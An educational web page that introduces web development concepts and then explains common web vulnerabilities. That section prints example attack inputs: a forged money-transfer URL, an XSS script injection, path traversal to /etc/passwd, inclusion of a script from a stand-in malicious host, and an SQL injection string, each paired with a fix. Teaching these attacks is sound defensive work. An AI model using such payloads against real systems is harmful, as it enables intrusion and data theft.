Shortcut to seniority

Home
Go to main page

Section level: Junior
A journey into the programming realm

Section level: Intermediate
The point of no return

Section level: Senior
Leaping into the unknown
Go to main page
A journey into the programming realm
The point of no return
Leaping into the unknown
Web development is the process of building websites or applications that run in browsers.
In web development, you don’t have too much control over the runtime environment, because there are plenty of browsers available, each of them with different versions, and each of them supporting different features or behaving differently.
URI can be a name, a locator or both for an online resource.
URL (Uniform Resource Locator) is only the locator.
Therefore, URLs are a subset of URI, so all URLs are URI, but not the other way around.
URLs provide a means of locating the resource, by describing it’s network location, and they always start with a protocol (http/https), the hostname (thesenioritybook.com) and a document path (/index.html).
For example, if URI is the unique identifier of a given resource, we can have multiple URLs pointing to the same URI.
The HTML tag can also contain an URI, so it could be something like:
<a href="urn:isbn:0000000000">
and the browser should resolve it to a URL and download the book.
As web developers, you need to be able to understand the APIs and to be able to create some for your webpages.
APIs in web development refer to the list of commands that the server will reply to.
Status codes are responses given by the server after a client request was made to it.
The status codes can also contain some additional sub-codes for more specific information, which appear only in the response payload and in documentation.
Status codes are split in different categories, based on the following range:
Top status codes are seen in the table below.
Status code | Result |
---|---|
200 OK | The request was successfully transmitted. The information that is returned by the response is dependent on what request was performed to the server. |
201 Created | The request was fulfilled and the new resource was created (via POST or PUT). |
204 No Content | The server successfully processed the request, but is not returning any content. |
301 Moved Permanently | The resource has been assigned to a new URI and any future references to this resource should use the returned URIs . |
400 Bad request | The request was not understood by the server. Future requests will probably return the same result or 5xx error codes to avoid server spam. |
404 Not found | The resource was not found (eg. invalid page, page does not exist on the server). |
500 Internal server error | The usual response when server throws an exception. |
503 Service unavailable | The server is currently unavailable (for example when it’s maintenance). This response should be temporary. |
A single page application (SPA) is a web application / site that has only one page and dynamically rewrite it rather than loading other pages from the server.
Lazy loading refers to loading content only when it’s necessary. If we have a long page, the images on the bottom of the page are not visible so we don’t need to load them, and they will be loaded only when the user scrolls to the bottom of the page.
Infinite scrolling occurs when new content is loaded when the user reaches the end of a page, creating an effect of an infinite long page.
CMS is a web application designed to allow non-technical users to manage their content on their application.
SEO refers to the techniques used to increase the traffic (number of visititors) to your website, by optimizing web pages in order to reach a high ranking placement in the search results of search engines, such as Google.
There are a few factors that are taken into account by search engines to rank web pages based on user searches, such as the site speed, quality of the code and of the content, or the number of relevant links from other pages / sites that link to your website. These practices improve user experience and increase the website usability.
Client-side code executes in a web browser and involves anything the user directly interacts with, such as the font, menus, buttons, etc. – in short terms, the interface.
Front end developers are involved in the way the page is displayed and how it adapts to the user device, etc.
Their focus is on user experience and the user interaction with the webpage.
The back end is the logic that happens on server side, and is the largest part of the application.
Everything that makes the system work, the databases, the responses from the server, and so much more – refers to the back end.
Back end developers are involved in the architecture of the system, in organizing the logic, processing data from a database or other data source, etc.
When a form is completed on front end, the browser sends a request to the server-side (back end), which returns relevant information for the front end which the browser further interprets and displays to the user.
Full stack developers are involved in both front-end and back-end development, working on all components and layers of a system (the entire stack).
We start from the web browser, which is capable of rendering the web page by parsing HTML and CSS tags.
The browser is also capable of executing Javascript code, which can modify the underlying structure of a website.
When the browser is open and you insert a URL into the address bar, a request is sent to that web server, in order to get the information from it (webpage) and to further render it.
For example:
If the request is towards thesenioritybook.com/blog, the webpage will return the resource that is aliased towards that URL.
If the request is towards the domain itself (thesenioritybook.com), the webpage will return the resource to index.html page, which is the default name if not specified
The web server will find the resource (if exists) and sends back a response to the browser.
The browser will then parse the response and will render it to the user.
Cascading Stylesheet (CSS) is a language that describes the style within a HTML document.
While HTML defines the structure of the content, CSS defines the style of it.
Writing CSS is a quite repetitive task, and therefore CSS preprocessors came into play, which are a scripting language that extends CSS and then compiles / generates CSS code.
The most common CSS preprocessors are SASS (Syntactically Awesome Stylesheet) and LESS (Leaner CSS).
Both of them are similar, and most importantly, they make writing CSS simpler and more object-oriented.
Advantages using them are that they save you time, they are easier to maintain, and allows reusability and cleaner code overall.
Rendering everything on the server is very slow, so new technologies such as AJAX (Asynchronous Javascript) and XML were invented, which allow the web pages to update dynamically, without refreshing the page and refetching all the data from the server.
Web pages are rendered on the server, and the HTML, CSS, and Javascript details of the page are sent to the browser.
Server-side rendering means the page are fully constructed on server side, and all the logic is on the server.
With client-side rendering, the contents of the webpage is constructed in browser, through Javascript.
Therefore, there’s no need for too much computation on the server side.
REST is an architectural style used for exposing public API over the internet, to handle CRUD operations over data.
The REST operations are: GET, PUT, POST, DELETE.
There are many advantages to use REST, such as:
REST services are meant to be used by a client-side application, and not by the end user directly.
The server must be able to completely understand any client request, without any server context or session – all state must be kept on the client side.
SOAP is a protocol used for data interchange between applications, and it was designed to work with XML over HTTP.
A SOAP client is tightly coupled to the server, through a rigid contract, and everywhing will break if either side changes anything.
The SOAP message is simply an XML Document which contains:
Slow webpages are the most frustrating thing for the users, and if the page doesn’t load in 1-2 seconds, the users usually leave the page completely.
This might sound crazy, but based on the words on your buttons, and on their colors, you will have either few or many users that buy your products.
Also, different colors express different messages, so make sure what colors you use for each action the users can take.
These are both psychological triggers and they are determined by the emotional connection / impact it has on the users.
Your webpage should include images, but if they don’t look real and authentic, it will only decrease the trust. Images should be relevant and non-generic, or otherwise you could lose the customer.
Consistency matters – keep the same size, font choices, placements of important web elements, and so on, between the pages of your website. If the changes are too drastic, it can confuse your clients and they will lose trust in your site.
Most of your users are probably using their phones to access your website, so it should be mobile-friendly and easy to navigate, no matter what screen size or phone type is used.
Dead links (pages that return 404 page not found) will frustrate the user as much as a slow page would.
There are a couple of tools that can be used (from web crawlers) to check that you don’t have pages that return 404 code.
Web vulnerabilities are weaknesses in a website or web application code that allow attackers to gain control of the site. Most of the attacks are exploited by using tools that scan for such vulnerabilities.
CRLF refers to the special characters CR (Carriage Return) and LF (Line Feed). These two tags signify an end of line marker, and many protocols such as HTTP or MIME (mail) use CRLF sequences to split the data into elements.
In web applications, this vulnerability injects a CRLF sequence into a HTTP stream.
Because such split could not be intended or handled by the web application, it can result in a security breach, in which the attacker can set arbitrary headers, take control of the body content, or break the response into two or more responses.
Example of using such vulnerability by breaking the response:
Luckily for web developers, CRLF vulnerabilities are easy to prevent.
The fix is to never trust the user input – all the data supplied by the user should be sanitized first.
Cross-Site Request Forgery is an attack in which a website will send a request to a web application in which the user is already authenticated.
For example:
if you’re authenticated on webpage A (legit), and you open webpage B (corrupt/malicious), B can redirect you to:
A/sendMoney&source=
mainAccount&destination=
123456&amount=
10000&confirm=true.
The most common way of preventing such attacks is for webpages to use CSRF tokens with each request, so the valid page can recognize the origin of the request.
An example would be that the transfer request is using another argument, which is a token that changes each time they send the page to anyone, so it cannot be used by an attacker.
The transfer link will look like this:
mainAccount&destination=
123456&amount=
10000&confirm=true&token=
136906b1053ee52
eb01e748aa0445c5626eb
138b6d6909a31db7900a59726ef.
The scripts that are executed on page B does not have access to the token from page A, mainly because of the HTTP access control, therefore cannot fetch it and use it for undesired actions.
XSS is one of the most common web attacks, and the concept behind it is to manipulate client-side scripts to execute unwanted code. In XSS attacks, the victim is not the application, but the user, because the code is executed locally.
Through XSS, attackers can steal accounts, access browser history and steal passwords, control the browser remotely, and so on.
XSS Vulnerabilities can occur if the input for the web is not validated, or if the output to the browser is not html encoded.
Let’s assume we have a search engine, and we query for "XSS": the URL will look more or less like this:
http://search-engine.example/search?query=XSS
and we display the following paragraph to the user:
The following results were found for ‘$search_query’:
so we can see, in the end, the following sentence:
The following results were found for ‘XSS’:
If the input is not validated, filtered, and escaped, an attacker could inject code in the search area in our engine, such as the following:
search?query=XSS+%3Cscript%3Esome_script()%3C/script%3E
This will translate into the following code:
The following results were found for ‘XSS <script>some_script()</script>’
Directory Traversal is a HTTP exploit which allows an attacker to gain unauthorized access to directories and files that are otherwise restricted.
Attackers can exploit vulnerabilities in the code by sending URLs that request the server to return specific files.
The first step is for the attacker to find a URL in which the application retrieves a file from the server.
Once that URL is found, they can modify the string with the path they want to access, usually through ‘../’ (or %2e%2e/) directive, which is used to specify to the server to fetch a file from the parent directory, thus reaching a place they should not have access.
Let’s say we have the following folders and files:
http://some-page.example/get-file..asp?page=index.html
If the path is not sanitized, an attacker can traverse the folder using ... to access the parent until they reach root, and from there they can access any file.
Let's assume the web page is on linux, so we want to read from /etc/passwd
http://some-page.example/get-file..asp?page=/../../../../etc/passwd
We can also use this to include files and scripts from malicious websites:
http://some-page.example/get-file..asp?page=http://malicious-page.example/some_script.php
A way to prevent this exploit is to validate user input, and block URLs containing commands and escape codes that are common to attackers.
Failure to restrict URL Access occurs when there’s an error in the access-control settings, in which users can access pages or files that are supposed to be restricted, such as admin pages, or files that display server logs or configurations.
The most usual way attackers try this vulnerability is by doing a ‘forced browsing’, in which attackers guess the URL or use brute force to guess pages.
Insecure Cryptographic Storage occurs when the sensitive data is not stored securely (in temporary, hidden, or registry files), either because no encryption is set in place, or because the algorithms that encrypt the data are unreliable.
A way to prevent this exploit is to identify all sensitive data and encrypt it, and overwrite the locations with random data as soon as they are no longer needed.
Insufficient Transport Layer Protection is a security weakness in which web applications do not protect the network traffic. Even if the traffic is protected/encrypted during authentication, the session id could then be further used in unprotected communication with the server.
The problem is that session id is sensitive data and can be intercepted in unprotected communications.
A way to prevent this exploit is to require SSL for all sensitive pages, or to flag all sensitive cookies as secure.
SQL Injection is an attack in which hackers place code in data/web forms fields, which are then further used by the server to concatenate as a database SQL command.
After a successful exploit, the hacker may get access to all the usernames or passwords within a system, or create administrator accounts for them to use further.
Therefore, SQL Injection is a major security breach.
An example would be when we have a function that filters based on a parameter received by the user:
string query = 'select data1, data2 FROM table WHERE id = ' + request.getParameter('param_id');
The application expects the input field to enter something like a number, such as 123, so the query will be the following:
select data1, data2 FROM table WHERE id = 123
An attacker could change the parameter to be '123 or 1=1', so the query will be the following:
select data1, data2 FROM table WHERE id = 123 or 1=1
Therefore, we will get all the entries where id is 123 or True, so the filter does not apply properly.
if we have in database id=124, we will have id=124 different than 123, but 1 is equals to 1 so we will fetch this.
This will lead in receiving a list with all the items from the database.
A way to prevent this exploit is to use prepared statements, in which the input is separated from the command.
If the id would be “123 or 1=1”, the query will not be vulnerable because it will simply look for the id equal to ‘123 or 1=1’, which is not an integer and therefore the query could simply be rejected.
Performance is all about retaining users and providing them a great user experience. Even the small delays are annoying for the users, and can lead them away from your website.
When a site begins to load, there’s a period of time where users will wait for the content to appear.
The performance of a web is mostly linked to the resources that are sent to the user, so we want to limit the data we send and improve the time it takes for it to be transferred.
There are a few things we could do to improve the performance of a page.
We can configure the server to compress the resources, which will drastically reduce the amount of data that we send to the user.
Images are the number one cause of bloat on the web. What we want to do is to choose the right format (reduce quality), to resize/shrink them (reduce their size), or to load them in a lazy format.
Resources can specify a caching policy by using HTTP cache headers. After the resource is downloaded, it will remain in the browser cache and will load much faster the next time it is being used.
A CDN uses distributed servers to deliver websites based on user location (through web servers that are closer to the user).
The primary goal of HTTP/2 is to reduce latency, and this is performed by enabling full request and response multiplexing.
Load balancing is a technique that distributes the traffic load across multiple machines.
Font is very important in terms of design, but at the same time, it is very important to know how to use them because they also affect the page speed. First of all, there are two types of fonts: Web (custom) font, and system fonts (which are already loaded in the browser, and already included in most devices that we use. Using a system font means that the users don't need to download them each time they visit the site. In case we decided to go for a custom font, there are different file types, and although there's not a single font format compatible with all browsers, we can use them as fallbacks in case one of them fails.
CSS can bloat over time and unless they are taken care of, they can impact the performance of your website. A solution to this would be to organize the CSS into smaller files with clear responsibilities. In this case, you will split the files into their components (e.g. header, content, form, footer), thus making the page load faster, piece by piece. This is called progressive rendering, and it will basically display the webpage from top to bottom, instead of not showing anything unless the page fully loads.
Artifacts are anomalies that are present during the visual representation of a graphical object. Can appear due to software bugs, overclocking the video card, driver-related issues, temperature of the hardware, etc.
Null object pattern/idiom is used when working with pointers. Instead of setting the pointer to null and verifying if it’s null, or doing a null pointer dereference by mistake, we provide a default implementation that does nothing when functions are called.